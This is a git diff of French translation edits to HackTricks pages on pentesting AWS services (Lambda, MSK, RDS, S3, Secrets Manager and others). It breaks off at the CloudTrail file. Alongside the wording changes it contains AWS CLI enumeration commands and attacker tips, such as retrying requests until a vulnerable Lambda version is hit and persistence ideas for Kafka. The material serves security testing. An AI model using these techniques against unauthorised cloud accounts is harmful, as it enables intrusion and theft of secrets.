Pour faciliter ce processus, vous pouvez **utiliser des alias pour référencer un key-id** et ensuite simplement mettre à jour la clé à laquelle l'alias fait référence. -- Vous devez **conserver les anciennes clés pour déchiffrer les anciens fichiers** chiffrés avec celles-ci. +- Vous devez **conserver les anciennes clés pour déchiffrer les anciens fichiers** chiffrés avec elles. Vous pouvez importer des clés de votre infrastructure de clés sur site. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md index 9f09c9cfc..b28f6afe2 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md @@ -14,7 +14,7 @@ Le **code** d'une lambda est stocké dans **`/var/task`**. Une Lambda peut avoir **plusieurs versions**.\ Et elle peut avoir **plus d'une** version exposée via des **alias**. Les **poids** de **chacune** des **versions** exposées dans un alias décideront **quel alias reçoit l'invocation** (cela peut être 90%-10% par exemple).\ -Si le code de **l'un** des alias est **vulnérable**, vous pouvez envoyer **des requêtes jusqu'à ce que la version vulnérable** reçoive l'exploit. +Si le code de **l'un** des alias est **vulnérable**, vous pouvez envoyer **des requêtes jusqu'à ce que la version vulnérable reçoive l'exploit**. ![](<../../../images/image (223).png>) @@ -25,7 +25,7 @@ Par exemple, voici la politique pour permettre à **quiconque d'accéder à une
-Ou ceci pour permettre à un API Gateway de l'invoquer : +Ou celle-ci pour permettre à un API Gateway de l'invoquer :
@@ -42,11 +42,11 @@ Pour préserver et même partager des données, **les Lambdas peuvent accéder Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration. -Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** dans l'environnement d'exécution. +Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, les **contenus sont extraits dans le répertoire `/opt`** dans l'environnement d'exécution. Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée. -Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image. +Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous regroupez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image. ### Extensions Lambda @@ -122,7 +122,7 @@ aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6 ``` ![](<../../../images/image (102).png>) -Maintenant que vous connaissez le nom et l'ID, vous pouvez obtenir le nom : +Maintenant que vous connaissez le nom et l'ID, vous pouvez obtenir le Nom : ```bash aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75" ``` @@ -140,7 +140,7 @@ Il existe de nombreuses autres sources qui peuvent déclencher une lambda ### Privesc -Dans la page suivante, vous pouvez vérifier comment **abuser des permissions Lambda pour escalader les privilèges** : +Sur la page suivante, vous pouvez vérifier comment **abuser des permissions Lambda pour escalader les privilèges** : {{#ref}} ../aws-privilege-escalation/aws-lambda-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md index 132b3dadd..c06c6aa39 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md @@ -4,7 +4,7 @@ ## AWS - Lightsail -Amazon Lightsail offre un moyen **facile** et léger pour les nouveaux utilisateurs du cloud de tirer parti des services de cloud computing d'AWS. Il vous permet de déployer des services web courants et personnalisés en quelques secondes via des **VMs** (**EC2**) et des **containers**.\ +Amazon Lightsail offre un moyen **facile** et léger pour les nouveaux utilisateurs du cloud de profiter des services de cloud computing d'AWS. Il vous permet de déployer des services web courants et personnalisés en quelques secondes via des **VMs** (**EC2**) et des **containers**.\ C'est un **EC2 minimal + Route53 + ECS**. ### Enumeration @@ -42,7 +42,7 @@ Il est possible de générer des **instantanés d'instance et de base de donnée ../aws-privilege-escalation/aws-lightsail-privesc.md {{#endref}} -### Post-exploitation +### Post Exploitation {{#ref}} ../aws-post-exploitation/aws-lightsail-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md index 47365b59c..150394157 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md @@ -10,7 +10,7 @@ ### AWS - RabbitMQ -RabbitMQ est un logiciel de **mise en file d'attente de messages** de premier plan, également connu sous le nom de _courtier de messages_ ou _gestionnaire de files d'attente_. C'est fondamentalement un système où des files d'attente sont configurées. Les applications interagissent avec ces files d'attente pour **envoyer et recevoir des messages**. Les messages dans ce contexte peuvent transporter une variété d'informations, allant des commandes pour initier des processus sur d'autres applications (potentiellement sur différents serveurs) à de simples messages texte. Les messages sont conservés par le logiciel de gestionnaire de files d'attente jusqu'à ce qu'ils soient récupérés et traités par une application réceptrice. AWS fournit une solution facile à utiliser pour héberger et gérer des serveurs RabbitMQ. +RabbitMQ est un logiciel de **file d'attente de messages** de premier plan, également connu sous le nom de _courtier de messages_ ou _gestionnaire de files d'attente_. C'est fondamentalement un système où des files d'attente sont configurées. Les applications interagissent avec ces files d'attente pour **envoyer et recevoir des messages**. Les messages dans ce contexte peuvent transporter une variété d'informations, allant des commandes pour initier des processus sur d'autres applications (potentiellement sur différents serveurs) à de simples messages texte. Les messages sont conservés par le logiciel de gestionnaire de files d'attente jusqu'à ce qu'ils soient récupérés et traités par une application réceptrice. AWS fournit une solution facile à utiliser pour héberger et gérer des serveurs RabbitMQ. ### AWS - ActiveMQ @@ -22,7 +22,7 @@ Apache ActiveMQ® est un **courtier de messages** open-source de premier plan, b - Gérer des appareils IoT avec **MQTT**. - Maintenir l'infrastructure **JMS** existante et étendre ses capacités. -La robustesse et la flexibilité d'ActiveMQ le rendent adapté à une multitude de besoins en matière de messagerie. +La robustesse et la flexibilité d'ActiveMQ en font un choix adapté à une multitude de besoins en matière de messagerie. ## Énumération ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md index 14b48ee60..a68c798dc 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md @@ -4,7 +4,7 @@ ## Amazon MSK -**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** est un service entièrement géré, facilitant le développement et l'exécution d'applications traitant des données en streaming via **Apache Kafka**. Les opérations de contrôle, y compris la création, la mise à jour et la suppression de **clusters**, sont offertes par Amazon MSK. Le service permet l'utilisation des opérations de **data-plane** d'Apache Kafka, englobant la production et la consommation de données. Il fonctionne sur des **versions open-source d'Apache Kafka**, garantissant la compatibilité avec les applications, outils et plugins existants provenant à la fois des partenaires et de la **communauté Apache Kafka**, éliminant ainsi le besoin de modifications dans le code de l'application. +**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** est un service entièrement géré, facilitant le développement et l'exécution d'applications traitant des données en streaming via **Apache Kafka**. Les opérations de contrôle, y compris la création, la mise à jour et la suppression de **clusters**, sont proposées par Amazon MSK. Le service permet l'utilisation des opérations de **data-plane** d'Apache Kafka, englobant la production et la consommation de données. Il fonctionne sur des **versions open-source d'Apache Kafka**, garantissant la compatibilité avec les applications, outils et plugins existants provenant à la fois des partenaires et de la **communauté Apache Kafka**, éliminant ainsi le besoin de modifications dans le code de l'application. En termes de fiabilité, Amazon MSK est conçu pour **détecter et récupérer automatiquement des scénarios de défaillance de cluster courants**, garantissant que les applications productrices et consommatrices continuent leurs activités d'écriture et de lecture de données avec un minimum de perturbations. De plus, il vise à optimiser les processus de réplication des données en tentant de **réutiliser le stockage des brokers remplacés**, minimisant ainsi le volume de données qui doit être répliqué par Apache Kafka. @@ -42,7 +42,7 @@ aws kafka describe-configuration-revision --arn --revision ``` -### Accès IAM Kafka (en mode serverless) +### Accès IAM Kafka (en serverless) ```bash # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html # Download Kafka @@ -86,7 +86,7 @@ kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer ### Persistance -Si vous allez **avoir accès au VPC** où se trouve un Kafka Provisionné, vous pourriez **activer un accès non autorisé**, si **l'authentification SASL/SCRAM**, **lire** le mot de passe à partir du secret, donner des **autres permissions IAM contrôlées** (si IAM ou sans serveur utilisé) ou persister avec **des certificats**. +Si vous allez **avoir accès au VPC** où se trouve un Kafka Provisionné, vous pourriez **activer un accès non autorisé**, si **l'authentification SASL/SCRAM**, **lire** le mot de passe à partir du secret, donner des **permissions IAM à un autre utilisateur contrôlé** (si IAM ou sans serveur utilisé) ou persister avec **des certificats**. ## Références diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md index 5263e3e0e..61d368a92 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md @@ -9,7 +9,7 @@ AWS Organizations facilite la création de nouveaux comptes AWS sans frais suppl Points clés : - **Création de nouveaux comptes** : AWS Organizations permet la création de nouveaux comptes AWS sans frais supplémentaires. -- **Allocation des ressources** : Il simplifie le processus d'allocation des ressources entre les comptes. +- **Allocation des ressources** : Cela simplifie le processus d'allocation des ressources entre les comptes. - **Regroupement des comptes** : Les comptes peuvent être regroupés, rendant la gestion plus fluide. - **Politiques de gouvernance** : Des politiques peuvent être appliquées aux comptes ou aux groupes de comptes, garantissant la conformité et la gouvernance au sein de l'organisation. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md index 729faeccf..b15341b37 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md @@ -4,11 +4,11 @@ ## Amazon Redshift -Redshift est un service entièrement géré qui peut évoluer jusqu'à plus d'un pétaoctet de taille, utilisé comme un **entrepôt de données pour des solutions de big data**. En utilisant des clusters Redshift, vous pouvez exécuter des analyses sur vos ensembles de données à l'aide d'outils de requête rapides basés sur SQL et d'applications d'intelligence d'affaires pour mieux comprendre la vision de votre entreprise. +Redshift est un service entièrement géré qui peut évoluer jusqu'à plus d'un pétaoctet, utilisé comme un **entrepôt de données pour des solutions de big data**. En utilisant des clusters Redshift, vous pouvez exécuter des analyses sur vos ensembles de données à l'aide d'outils de requête rapides basés sur SQL et d'applications d'intelligence d'affaires pour mieux comprendre la vision de votre entreprise. **Redshift offre un chiffrement au repos utilisant une hiérarchie de clés de chiffrement à quatre niveaux en utilisant soit KMS soit CloudHSM pour gérer le niveau supérieur des clés**. **Lorsque le chiffrement est activé pour votre cluster, il ne peut pas être désactivé et vice versa**. Lorsque vous avez un cluster non chiffré, il ne peut pas être chiffré. -Le chiffrement pour votre cluster ne peut se faire qu'au moment de sa création, et une fois chiffré, les données, les métadonnées et toutes les instantanés sont également chiffrés. Les niveaux de hiérarchie des clés de chiffrement sont les suivants : **le niveau un est la clé maître, le niveau deux est la clé de chiffrement du cluster, la CEK, le niveau trois, la clé de chiffrement de la base de données, la DEK, et enfin le niveau quatre, les clés de chiffrement des données elles-mêmes**. +Le chiffrement pour votre cluster ne peut se faire qu'au moment de sa création, et une fois chiffré, les données, les métadonnées et tous les instantanés sont également chiffrés. Les niveaux de hiérarchie des clés de chiffrement sont les suivants : **le niveau un est la clé maître, le niveau deux est la clé de chiffrement du cluster, la CEK, le niveau trois, la clé de chiffrement de la base de données, la DEK, et enfin le niveau quatre, les clés de chiffrement des données elles-mêmes**. ### KMS @@ -36,13 +36,13 @@ Cette connexion est nécessaire pour fournir des communications sécurisées, pe Vous devez ensuite configurer Redshift avec les détails suivants de votre client HSM : l'adresse IP HSM, le nom de la partition HSM, le mot de passe de la partition HSM, et le certificat de serveur HSM public, qui est chiffré par CloudHSM en utilisant une clé maître interne. Une fois ces informations fournies, Redshift confirmera et vérifiera qu'il peut se connecter et accéder à la partition de développement. -Si vos politiques de sécurité internes ou vos contrôles de gouvernance dictent que vous devez appliquer une rotation des clés, cela est possible avec Redshift vous permettant de faire pivoter les clés de chiffrement pour les clusters chiffrés, cependant, vous devez être conscient que pendant le processus de rotation des clés, cela rendra un cluster indisponible pendant une très courte période de temps, il est donc préférable de ne faire pivoter les clés que lorsque vous en avez besoin, ou si vous pensez qu'elles ont pu être compromises. +Si vos politiques de sécurité internes ou vos contrôles de gouvernance dictent que vous devez appliquer une rotation des clés, cela est possible avec Redshift vous permettant de faire pivoter les clés de chiffrement pour les clusters chiffrés, cependant, vous devez être conscient que pendant le processus de rotation des clés, cela rendra un cluster indisponible pendant une très courte période, il est donc préférable de ne faire pivoter les clés que lorsque vous en avez besoin, ou si vous pensez qu'elles ont pu être compromises. Pendant la rotation, Redshift fera pivoter la CEK pour votre cluster et pour toutes les sauvegardes de ce cluster. Il fera pivoter une DEK pour le cluster mais il n'est pas possible de faire pivoter une DEK pour les instantanés stockés dans S3 qui ont été chiffrés en utilisant la DEK. Il mettra le cluster dans un état de 'rotation des clés' jusqu'à ce que le processus soit terminé lorsque le statut reviendra à 'disponible'.
-### Enumeration +### Énumération ```bash # Get clusters aws redshift describe-clusters diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md index b0d37e1b7..1c2351632 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md @@ -1,4 +1,4 @@ -# AWS - Relational Database (RDS) Enum +# AWS - Enum de la base de données relationnelle (RDS) {{#include ../../../banners/hacktricks-training.md}} @@ -6,11 +6,11 @@ Le **Service de base de données relationnelle (RDS)** proposé par AWS est conçu pour simplifier le déploiement, l'exploitation et la mise à l'échelle d'une **base de données relationnelle dans le cloud**. Ce service offre les avantages de l'efficacité des coûts et de la scalabilité tout en automatisant des tâches laborieuses comme la fourniture de matériel, la configuration de la base de données, les mises à jour et les sauvegardes. -AWS RDS prend en charge divers moteurs de base de données relationnelle largement utilisés, notamment MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server et Amazon Aurora, avec compatibilité pour MySQL et PostgreSQL. +AWS RDS prend en charge divers moteurs de bases de données relationnelles largement utilisés, notamment MySQL, PostgreSQL, MariaDB, Oracle Database, Microsoft SQL Server et Amazon Aurora, avec compatibilité pour MySQL et PostgreSQL. Les principales caractéristiques de RDS incluent : -- **La gestion des instances de base de données** est simplifiée. +- **Gestion des instances de base de données** simplifiée. - Création de **réplicas de lecture** pour améliorer les performances de lecture. - Configuration de **déploiements multi-Zone de disponibilité (AZ)** pour garantir une haute disponibilité et des mécanismes de basculement. - **Intégration** avec d'autres services AWS, tels que : @@ -34,26 +34,26 @@ Il existe 3 types d'options d'authentification, mais l'utilisation du **mot de p
-### Accès public & VPC +### Accès public et VPC Par défaut, **aucun accès public n'est accordé** aux bases de données, cependant, il **pourrait être accordé**. Par conséquent, par défaut, seules les machines du même VPC pourront y accéder si le **groupe de sécurité** sélectionné (stocké dans EC2 SG) le permet. -Au lieu d'exposer une instance de base de données, il est possible de créer un **RDS Proxy** qui **améliore** la **scalabilité** et **la disponibilité** du cluster DB. +Au lieu d'exposer une instance de DB, il est possible de créer un **Proxy RDS** qui **améliore** la **scalabilité** et **la disponibilité** du cluster DB. De plus, le **port de la base de données peut également être modifié**. ### Chiffrement -**Le chiffrement est activé par défaut** en utilisant une clé gérée par AWS (une CMK peut être choisie à la place). +**Le chiffrement est activé par défaut** en utilisant une clé gérée par AWS (une CMK pourrait être choisie à la place). En activant votre chiffrement, vous activez **le chiffrement au repos pour votre stockage, vos instantanés, vos réplicas de lecture et vos sauvegardes**. Les clés pour gérer ce chiffrement peuvent être émises en utilisant **KMS**.\ Il n'est pas possible d'ajouter ce niveau de chiffrement après la création de votre base de données. **Cela doit être fait lors de sa création**. Cependant, il existe un **contournement vous permettant de chiffrer une base de données non chiffrée comme suit**. Vous pouvez créer un instantané de votre base de données non chiffrée, créer une copie chiffrée de cet instantané, utiliser cet instantané chiffré pour créer une nouvelle base de données, et enfin, votre base de données serait alors chiffrée. -#### Chiffrement de données transparent (TDE) +#### Chiffrement des données transparent (TDE) -En plus des capacités de chiffrement inhérentes à RDS au niveau de l'application, RDS prend également en charge **des mécanismes de chiffrement supplémentaires au niveau de la plateforme** pour protéger les données au repos. Cela inclut **le chiffrement de données transparent (TDE)** pour Oracle et SQL Server. Cependant, il est crucial de noter que bien que le TDE améliore la sécurité en chiffrant les données au repos, il peut également **affecter les performances de la base de données**. Cet impact sur les performances est particulièrement perceptible lorsqu'il est utilisé en conjonction avec des fonctions cryptographiques MySQL ou des fonctions cryptographiques Transact-SQL de Microsoft. +En plus des capacités de chiffrement inhérentes à RDS au niveau de l'application, RDS prend également en charge **des mécanismes de chiffrement supplémentaires au niveau de la plateforme** pour protéger les données au repos. Cela inclut **le chiffrement des données transparent (TDE)** pour Oracle et SQL Server. Cependant, il est crucial de noter que bien que le TDE améliore la sécurité en chiffrant les données au repos, il peut également **affecter les performances de la base de données**. Cet impact sur les performances est particulièrement perceptible lorsqu'il est utilisé en conjonction avec des fonctions cryptographiques MySQL ou des fonctions cryptographiques Transact-SQL de Microsoft. Pour utiliser le TDE, certaines étapes préliminaires sont nécessaires : @@ -61,11 +61,11 @@ Pour utiliser le TDE, certaines étapes préliminaires sont nécessaires : - La base de données doit être associée à un groupe d'options. Les groupes d'options servent de conteneurs pour les paramètres et les fonctionnalités, facilitant la gestion de la base de données, y compris les améliorations de sécurité. - Cependant, il est important de noter que les groupes d'options ne sont disponibles que pour des moteurs de base de données et des versions spécifiques. 2. **Inclusion du TDE dans le groupe d'options** : -- Une fois associée à un groupe d'options, l'option de chiffrement de données transparent Oracle doit être incluse dans ce groupe. +- Une fois associé à un groupe d'options, l'option de chiffrement des données transparentes Oracle doit être incluse dans ce groupe. - Il est essentiel de reconnaître qu'une fois l'option TDE ajoutée à un groupe d'options, elle devient une caractéristique permanente et ne peut pas être supprimée. 3. **Modes de chiffrement TDE** : - Le TDE offre deux modes de chiffrement distincts : -- **Chiffrement de tablespace TDE** : Ce mode chiffre des tables entières, offrant une portée de protection des données plus large. +- **Chiffrement de tablespace TDE** : Ce mode chiffre des tables entières, offrant une portée plus large de protection des données. - **Chiffrement de colonne TDE** : Ce mode se concentre sur le chiffrement d'éléments spécifiques et individuels au sein de la base de données, permettant un contrôle plus granulaire sur les données chiffrées. Comprendre ces prérequis et les complexités opérationnelles du TDE est crucial pour mettre en œuvre et gérer efficacement le chiffrement au sein de RDS, garantissant à la fois la sécurité des données et la conformité aux normes nécessaires. diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md index 1fbb5aea1..ab22584ee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-route53-enum.md @@ -5,12 +5,12 @@ ## Route 53 Amazon Route 53 est un service web **Domain Name System (DNS)** dans le cloud.\ -Vous pouvez créer des vérifications de santé **pour les pages web** via Route53. +Vous pouvez créer des **health checks pour les pages web** via Route53. ### Routage basé sur l'IP Ceci est utile pour ajuster votre routage DNS afin de prendre les meilleures décisions de routage DNS pour vos utilisateurs finaux.\ -Le routage basé sur l'IP vous offre la capacité supplémentaire de **optimiser le routage en fonction de connaissances spécifiques de votre base de clients**. +Le routage basé sur l'IP vous offre la capacité supplémentaire d'**optimiser le routage en fonction de la connaissance spécifique de votre base de clients**. ### Énumération ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md index 29e0a68ae..b5d0bb2a8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-s3-athena-and-glacier-enum.md @@ -6,19 +6,19 @@ Amazon S3 est un service qui vous permet de **stocker de grandes quantités de données**. -Amazon S3 offre plusieurs options pour atteindre la **protection** des données au repos. Les options incluent **Permission** (Politique), **Encryption** (Côté client et côté serveur), **Bucket Versioning** et **MFA** **basé sur la suppression**. L'**utilisateur peut activer** l'une de ces options pour assurer la protection des données. La **réplication des données** est une fonctionnalité interne d'AWS où **S3 réplique automatiquement chaque objet à travers toutes les zones de disponibilité** et l'organisation n'a pas besoin de l'activer dans ce cas. +Amazon S3 fournit plusieurs options pour atteindre la **protection** des données au repos. Les options incluent **Permission** (Politique), **Encryption** (Côté Client et Côté Serveur), **Bucket Versioning** et **MFA** **basé sur la suppression**. L'**utilisateur peut activer** l'une de ces options pour atteindre la protection des données. La **réplication des données** est une fonctionnalité interne d'AWS où **S3 réplique automatiquement chaque objet à travers toutes les zones de disponibilité** et l'organisation n'a pas besoin de l'activer dans ce cas. Avec des permissions basées sur les ressources, vous pouvez définir des permissions pour les sous-répertoires de votre bucket séparément. ### Bucket Versioning et suppression basée sur MFA -Lorsque la versioning de bucket est activée, toute action qui tente de modifier un fichier à l'intérieur d'un fichier générera une nouvelle version du fichier, conservant également le contenu précédent de celui-ci. Par conséquent, cela ne remplacera pas son contenu. +Lorsque le versionnage de bucket est activé, toute action qui tente de modifier un fichier à l'intérieur d'un fichier générera une nouvelle version du fichier, conservant également le contenu précédent de celui-ci. Par conséquent, cela ne remplacera pas son contenu. -De plus, la suppression basée sur MFA empêchera les versions de fichiers dans le bucket S3 d'être supprimées et également la désactivation de la versioning de bucket, de sorte qu'un attaquant ne pourra pas modifier ces fichiers. +De plus, la suppression basée sur MFA empêchera les versions de fichiers dans le bucket S3 d'être supprimées et également le versionnage de bucket d'être désactivé, donc un attaquant ne pourra pas modifier ces fichiers. ### Journaux d'accès S3 -Il est possible d'**activer la connexion d'accès S3** (qui est désactivée par défaut) pour un bucket et de sauvegarder les journaux dans un autre bucket pour savoir qui accède au bucket (les deux buckets doivent être dans la même région). +Il est possible d'**activer la connexion d'accès S3** (qui est désactivée par défaut) pour un certain bucket et de sauvegarder les journaux dans un autre bucket pour savoir qui accède au bucket (les deux buckets doivent être dans la même région). ### URLs pré-signées S3 @@ -53,11 +53,11 @@ ExpiresIn=3600 Cette option nécessite une configuration minimale et toute la gestion des clés de chiffrement utilisées est gérée par AWS. Tout ce que vous avez à faire est de **télécharger vos données et S3 s'occupera de tous les autres aspects**. Chaque bucket dans un compte S3 se voit attribuer une clé de bucket. - Chiffrement : -- Données d'objet + DEK en clair créé --> Données chiffrées (stockées dans S3) +- Données de l'objet + DEK en clair créé --> Données chiffrées (stockées dans S3) - DEK en clair créé + Clé maître S3 --> DEK chiffré (stocké dans S3) et le texte en clair est supprimé de la mémoire - Déchiffrement : - DEK chiffré + Clé maître S3 --> DEK en clair -- DEK en clair + Données chiffrées --> Données d'objet +- DEK en clair + Données chiffrées --> Données de l'objet Veuillez noter que dans ce cas **la clé est gérée par AWS** (rotation uniquement tous les 3 ans). Si vous utilisez votre propre clé, vous pourrez faire pivoter, désactiver et appliquer un contrôle d'accès. @@ -67,7 +67,7 @@ Veuillez noter que dans ce cas **la clé est gérée par AWS** (rotation uniquem Chiffrement côté serveur avec des clés gérées par KMS, SSE-KMS -Cette méthode permet à S3 d'utiliser le service de gestion des clés pour générer vos clés de chiffrement de données. KMS vous offre une bien plus grande flexibilité sur la gestion de vos clés. Par exemple, vous pouvez désactiver, faire pivoter et appliquer des contrôles d'accès au CMK, et ordonner leur utilisation via AWS Cloud Trail. +Cette méthode permet à S3 d'utiliser le service de gestion des clés pour générer vos clés de chiffrement de données. KMS vous offre une bien plus grande flexibilité sur la gestion de vos clés. Par exemple, vous pouvez désactiver, faire pivoter et appliquer des contrôles d'accès au CMK, et ordonner leur utilisation à l'aide d'AWS Cloud Trail. - Chiffrement : - S3 demande des clés de données à KMS CMK @@ -102,7 +102,7 @@ Cette option vous donne l'opportunité de fournir votre propre clé maître que Chiffrement côté client avec KMS, CSE-KMS -De manière similaire à SSE-KMS, cela utilise également le service de gestion des clés pour générer vos clés de chiffrement de données. Cependant, cette fois, KMS est appelé via le client et non S3. Le chiffrement a donc lieu côté client et les données chiffrées sont ensuite envoyées à S3 pour être stockées. +De manière similaire à SSE-KMS, cela utilise également le service de gestion des clés pour générer vos clés de chiffrement de données. Cependant, cette fois, KMS est appelé via le client et non S3. Le chiffrement a alors lieu côté client et les données chiffrées sont ensuite envoyées à S3 pour être stockées. - Chiffrement : - Le client demande une clé de données à KMS @@ -266,21 +266,21 @@ Dans la page suivante, vous pouvez vérifier comment **abuser des permissions S3 ### Problème de Poisoning du Cache HTTP S3 -[**Selon cette recherche**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue), il était possible de mettre en cache la réponse d'un bucket arbitraire comme si elle appartenait à un autre. Cela aurait pu être abusé pour changer, par exemple, les réponses de fichiers javascript et compromettre des pages arbitraires utilisant S3 pour stocker du code statique. +[**Selon cette recherche**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies#heading-s3-http-desync-cache-poisoning-issue), il était possible de mettre en cache la réponse d'un bucket arbitraire comme si elle appartenait à un autre. Cela aurait pu être abusé pour changer par exemple les réponses de fichiers javascript et compromettre des pages arbitraires utilisant S3 pour stocker du code statique. ## Amazon Athena -Amazon Athena est un service de requête interactif qui facilite l'**analyse des données** directement dans Amazon Simple Storage Service (Amazon **S3**) **en utilisant** le **SQL** standard. +Amazon Athena est un service de requête interactif qui facilite **l'analyse des données** directement dans Amazon Simple Storage Service (Amazon **S3**) **en utilisant** le **SQL** standard. Vous devez **préparer une table de base de données relationnelle** avec le format du contenu qui va apparaître dans les buckets S3 surveillés. Ensuite, Amazon Athena pourra peupler la base de données à partir des journaux, afin que vous puissiez l'interroger. -Amazon Athena prend en charge la **capacité d'interroger des données S3 qui sont déjà chiffrées** et, si configuré pour le faire, **Athena peut également chiffrer les résultats de la requête qui peuvent ensuite être stockés dans S3**. +Amazon Athena prend en charge la **possibilité d'interroger des données S3 qui sont déjà chiffrées** et si configuré pour le faire, **Athena peut également chiffrer les résultats de la requête qui peuvent ensuite être stockés dans S3**. -**Ce chiffrement des résultats est indépendant des données S3 sous-jacentes interrogées**, ce qui signifie que même si les données S3 ne sont pas chiffrées, les résultats interrogés peuvent être chiffrés. Quelques points à garder à l'esprit sont qu'Amazon Athena ne prend en charge que les données qui ont été **chiffrées** avec les **méthodes de chiffrement S3 suivantes**, **SSE-S3, SSE-KMS et CSE-KMS**. +**Ce chiffrement des résultats est indépendant des données S3 sous-jacentes interrogées**, ce qui signifie que même si les données S3 ne sont pas chiffrées, les résultats interrogés peuvent être chiffrés. Quelques points à prendre en compte sont qu'Amazon Athena ne prend en charge que les données qui ont été **chiffrées** avec les **méthodes de chiffrement S3 suivantes**, **SSE-S3, SSE-KMS et CSE-KMS**. -SSE-C et CSE-E ne sont pas pris en charge. En outre, il est important de comprendre qu'Amazon Athena n'exécutera des requêtes que sur **des objets chiffrés qui se trouvent dans la même région que la requête elle-même**. Si vous devez interroger des données S3 qui ont été chiffrées à l'aide de KMS, des permissions spécifiques sont requises par l'utilisateur Athena pour leur permettre d'effectuer la requête. +SSE-C et CSE-E ne sont pas pris en charge. De plus, il est important de comprendre qu'Amazon Athena n'exécutera des requêtes que sur **des objets chiffrés qui se trouvent dans la même région que la requête elle-même**. Si vous devez interroger des données S3 qui ont été chiffrées à l'aide de KMS, des permissions spécifiques sont requises par l'utilisateur Athena pour leur permettre d'effectuer la requête. -### Énumération +### Enumeration ```bash # Get catalogs aws athena list-data-catalogs diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md index 743911013..1288c5bd8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md @@ -39,7 +39,7 @@ aws secretsmanager get-resource-policy --secret-id --secret-id ../aws-post-exploitation/aws-secrets-manager-post-exploitation.md {{#endref}} -### Persistance +### Persistence {{#ref}} ../aws-persistence/aws-secrets-manager-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md index 029db3b81..53453b7af 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md +++ 